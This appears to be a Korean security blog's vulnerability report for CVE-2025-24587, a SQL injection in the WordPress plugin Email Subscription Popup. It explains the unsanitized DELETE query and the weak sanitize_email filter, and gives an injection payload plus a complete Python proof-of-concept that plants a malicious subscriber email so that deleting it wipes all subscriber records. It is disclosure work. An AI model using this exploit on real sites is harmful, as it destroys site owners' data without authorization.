CVE-2025-24587

2025. 5. 10. 13:59·Report/Zero-Day

Component type

WordPress plugin

 

Component details

Component name: Email Subscription Popup

Vulnerable version: <= 1.2.23

Component slug: email-subscribe

Component link: https://wordpress.org/plugins/email-subscribe/

 

Email Subscription Popup

This plugin shows you a beautiful newsletter subscription popup when someone enter to your site. You can even use widget that allow email subscription …

wordpress.org

 

OWASP 2017: TOP 10

Vulnerability class A3: Injection

Vulnerability type: SQL Injection

 

Pre-requisite

Unauthenticated

 

Vulnerability details

Short description

권한이 없는 사용자가 SQL Injection 페이로드를 포함한 이메일 주소로 뉴스레터를 등록한 후, 관리자가 이를 구독자 관리 페이지에서 삭제할 경우, 해당 페이로드가 쿼리 내에서 실행되어 모든 구독자의 이메일 데이터가 삭제된다.

 

How to reproduce (PoC)

1. Email Subscription Popup 플러그인 1.2.23 이하 버전이 활성화된 워드프레스 사이트를 준비한다.

2. 아래 shortcode를 넣어 게시글을 작성한다.

[print_email_subscribe_form ]

 

3. 작성한 게시글에서 Subscribers 이메일과 아래의 PoC 이메일을 등록한다.

'/**/OR/**/1=1#@a.a

 

4. 관리자로 로그인하여 플러그인의 Manage Subscribers 페이지로 이동하고 PoC 이메일을 삭제하면 모든 Subscribers의 이메일이 삭제된다.

 

Additional information (optional)

사용자에게 받은 이메일이 파라미터 바인딩 없이 쿼리에 그대로 삽입되고 있다.

# wp-content/plugins/email-subscribe/wp-email-subscription.php

$em = sanitize_email($em);
    if ($em != "") {

        $query = "delete from  " . $wpdb->prefix . "nl_subscriptions where email='$em'";
        $wpdb->query($query);
        ...
	}

 

sanitize_email 함수는 @ 기준으로 앞부분은 local, 뒷부분은 domain으로 분류하여 이메일 형식으로 보정한다. domain 부분은 문자가 제한적이므로 안전하게 필터링 되지만 local 필터링이 지나치게 느슨하므로 보안 필터가 아니라는 것을 알 수 있다.

# wp-includes/formatting.php

function sanitize_email( $email ) {
	...
    list( $local, $domain ) = explode( '@', $email, 2 );

    $local = preg_replace( '/[^a-zA-Z0-9!#$%&\'*+\/=?^_`{|}~\.-]/', '', $local );
    if ( '' === $local ) {
        /** This filter is documented in wp-includes/formatting.php */
        return apply_filters( 'sanitize_email', '', $email, 'local_invalid_chars' );
    }
    
    $domain = preg_replace( '/\.{2,}/', '', $domain );
    if ( '' === $domain ) {
        /** This filter is documented in wp-includes/formatting.php */
        return apply_filters( 'sanitize_email', '', $email, 'domain_period_sequence' );
    }
	...
}

 

따라서, local 부분에 페이로드를 삽입한 PoC가 email에 들어가면 최종적으로 아래의 쿼리가 실행된다.

delete from wp_nl_subscriptions where email=''/**/OR/**/1=1#@a.a'

 

Attach files (optional)

 

PoC Code

import re
import string
import random
import requests

TARGET = "http://localhost:8000"
AJAX_ENDPOINT = f"{TARGET}/wp-admin/admin-ajax.php"


def get_sec_string():
    """
    Extract the 10-character 'sec_string' nonce value from the main page.
    Returns the extracted string or None if not found.
    """
    print("[*] Requesting main page to extract sec_string...")
    response = requests.get(TARGET)
    match = re.search(r"var nonce = '(.{10})';", response.text)

    if match:
        sec_string = match.group(1)
        print(f"[+] Extracted sec_string: {sec_string}")
        return sec_string
    else:
        print("[-] Failed to extract sec_string")
        return None


def create_random_subscribers(sec_string, count=10):
    """
    Generate random email subscribers using the provided sec_string.
    """
    print(f"[*] Creating {count} random subscribers...")

    base = ''.join(random.choices(string.ascii_letters + string.digits, k=6))

    for i in range(count):
        email = f"{base}_{i}@example.com"
        name = f"{base}_{i}"
        data = {
            "action": "store_email",
            "email": email,
            "name": name,
            "is_agreed": "true",
            "sec_string": sec_string
        }

        response = requests.post(AJAX_ENDPOINT, data=data)
        print(f"[+] Subscriber #{i} created: {email} / {name} (Status: {response.status_code})")


def create_malicious_email(sec_string):
    """
    Send a maliciously crafted email input to test for SQL injection.
    """
    malicious_email = "'/**/OR/**/1=1#@a.a"
    data = {
        "action": "store_email",
        "email": malicious_email,
        "name": "PoC",
        "is_agreed": "true",
        "sec_string": sec_string
    }

    response = requests.post(AJAX_ENDPOINT, data=data)
    print(f"[+] Malicious subscriber created: {malicious_email} (Status: {response.status_code})")


def poc():
    """
    Main PoC execution logic:
    1. Extract sec_string.
    2. Create normal subscribers.
    3. Attempt SQLi using a malicious email.
    """
    sec_string = get_sec_string()
    if not sec_string:
        return

    create_random_subscribers(sec_string)
    create_malicious_email(sec_string)


if __name__ == "__main__":
    poc()

'Report > Zero-Day' 카테고리의 다른 글

CVE-2025-22783  (2) 2025.05.12
CVE-2025-22352  (0) 2025.05.11
CVE-2025-26886  (0) 2025.03.01
CVE-2025-26971  (0) 2025.02.28
CVE-2025-22662  (0) 2025.01.30
'Report/Zero-Day' 카테고리의 다른 글
  • CVE-2025-22783
  • CVE-2025-22352
  • CVE-2025-26886
  • CVE-2025-26971
bde574786
bde574786
  • bde574786
    꾸러기해커
    bde574786
  • 전체
    오늘
    어제
    • 분류 전체보기 (173)
      • 워게임 (108)
        • 웹해킹 (88)
        • 시스템해킹 (6)
        • 리버싱 (12)
        • 암호학 (2)
      • 보안 (3)
        • 웹 (3)
      • Report (7)
        • One-Day (1)
        • Zero-Day (6)
      • Git (35)
      • CTF Write Up (10)
        • b01lers CTF 2025 (5)
        • BYU CTF 2025 (5)
      • AI4C (7)
      • etc (1)
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    case mapping collision
    XSS
    crlf injection
    prototype pollution
    LFI
    Blind SQL Injection
    CVE
    SSTI
    git
    SSRF
    php deserialization
    type juggling
    sql injection
    RCE
    Stack Buffer Overflow
    Path Traversal
    Wordpress
    url globbing
    dom clobbering
    return address overwrite
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.2
bde574786
CVE-2025-24587
상단으로

티스토리툴바